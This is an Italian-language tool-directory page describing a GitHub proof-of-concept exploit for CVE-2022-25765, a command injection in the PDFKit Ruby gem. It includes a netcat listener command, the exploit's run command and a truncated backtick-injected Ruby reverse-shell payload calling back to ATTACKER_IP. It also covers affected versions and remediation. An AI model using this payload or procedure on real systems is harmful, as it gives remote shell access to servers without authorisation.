Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2022-25765 — Exploit per CVE-2022-25765 | Kitploit
Strumenti/GitHubGitHub/lowercasenumbers/cve-2022-25765
Generazione di PayloadAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingCommand and Control
GitHublowercasenumbers/cve-2022-25765

CVE-2022-25765

Exploit per CVE-2022-25765

Vedi Repository
9 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Exploit CVE-2022-25765

Un piccolo exploit POC per CVE-2022-25765, PDFkit-CMD-Injection

Utilizzo

  1. Avvia un listener netcat sulla tua macchina attaccante:

    root@kitploit:~
    nc -lvnp 4444
    
  2. Esegui l'exploit:

    root@kitploit:~
    python cve-2022-25765.py -t http://TARGET_IP:PORT -l YOUR_IP -p YOUR_PORT
    

Esempio:

root@kitploit:~
python cve-2022-25765.py -t http://10.40.11.43:80 -l 10.10.14.12 -p 4444

Parametri:

  • -t, --target: URL di destinazione che esegue PDFKit vulnerabile
  • -l, --lhost: Il tuo indirizzo IP per la connessione reverse shell
  • -p, --lport: La tua porta per la connessione reverse shell (deve corrispondere al tuo listener netcat)

Informazioni sulla vulnerabilità

ID CVE: CVE-2022-25765 Punteggio CVSS v3.1: 9.8 (Critico) Punteggio EPSS: 71.381% (99° percentile) CWE: CWE-77 - Neutralizzazione impropria di elementi speciali usati in un comando

Versioni interessate

  • Vulnerabile: PDFKit 0.0.0 - 0.8.6
  • Corretta: PDFKit 0.8.7.2+

Descrizione

PDFKit è una gemma Ruby che converte HTML in PDF utilizzando lo strumento a riga di comando wkhtmltopdf. La vulnerabilità risiede nel modo in cui PDFKit gestisce i parametri URL prima di passarli ai comandi di shell di sistema per la generazione di PDF.

Dettagli tecnici

La vulnerabilità risiede in lib/pdfkit/source.rb dove la sanificazione degli URL è implementata in modo improprio:

root@kitploit:~
def shell_safe_url
  url_needs_escaping? ? URI::DEFAULT_PARSER.escape(@source) : @source
end

Il problema:

  1. PDFKit utilizza una logica imperfetta per determinare se un URL necessita di escaping
  2. I metacaratteri di shell (backtick, punto e virgola, pipe, ecc.) possono aggirare questo controllo
  3. Gli URL non sanificati vengono passati direttamente ai comandi di shell che invocano wkhtmltopdf
  4. Gli attaccanti possono iniettare comandi arbitrari che vengono eseguiti sul server

Vettore di attacco:

  • Complessità: Bassa
  • Privilegi richiesti: Nessuno
  • Interazione dell'utente: Nessuna
  • Accesso alla rete: Richiesto

Come funziona questo exploit

Questo PoC sfrutta la vulnerabilità:

  1. Iniettando un URL malevolo contenente una sostituzione di comando con backtick
  2. Il payload: http://ATTACKER_IP:PORT/?name=%20` ruby -rsocket...`'
  3. PDFKit non riesce a sanificare i backtick nel parametro URL
  4. Quando wkhtmltopdf elabora l'URL, la shell esegue la reverse shell Ruby
  5. Il sistema target si riconnette al listener dell'attaccante

Impatto

  • Riservatezza: Alta - Accesso completo al sistema
  • Integrità: Alta - Capacità di modificare qualsiasi file
  • Disponibilità: Alta - Potenziale interruzione del sistema

Prerequisiti per uno sfruttamento riuscito

Sul sistema target:

  • Versione di PDFKit vulnerabile (< 0.8.7.2)
  • Ruby installato (richiesto per il payload della reverse shell)
  • L'applicazione accetta URL controllati dall'utente passati a PDFKit
  • Nessun filtro di uscita che blocchi le connessioni in uscita

Rimedio

  1. Aggiornare PDFKit alla versione 0.8.7.2 o successiva
  2. Validazione degli input: Implementare una stretta allowlist per gli input URL
  3. Sandboxing: Eseguire i processi PDFKit in container isolati con privilegi minimi
  4. Segmentazione della rete: Limitare le connessioni in uscita dai servizi di generazione PDF
  5. Regole WAF: Distribuire regole per rilevare metacaratteri di shell nei parametri URL

Riferimenti

  • NVD - CVE-2022-25765
  • GitHub Advisory GHSA-rhwx-hjx2-x4qr
  • PDFKit Issue #507
  • RubySec Advisory
Scarica lo strumento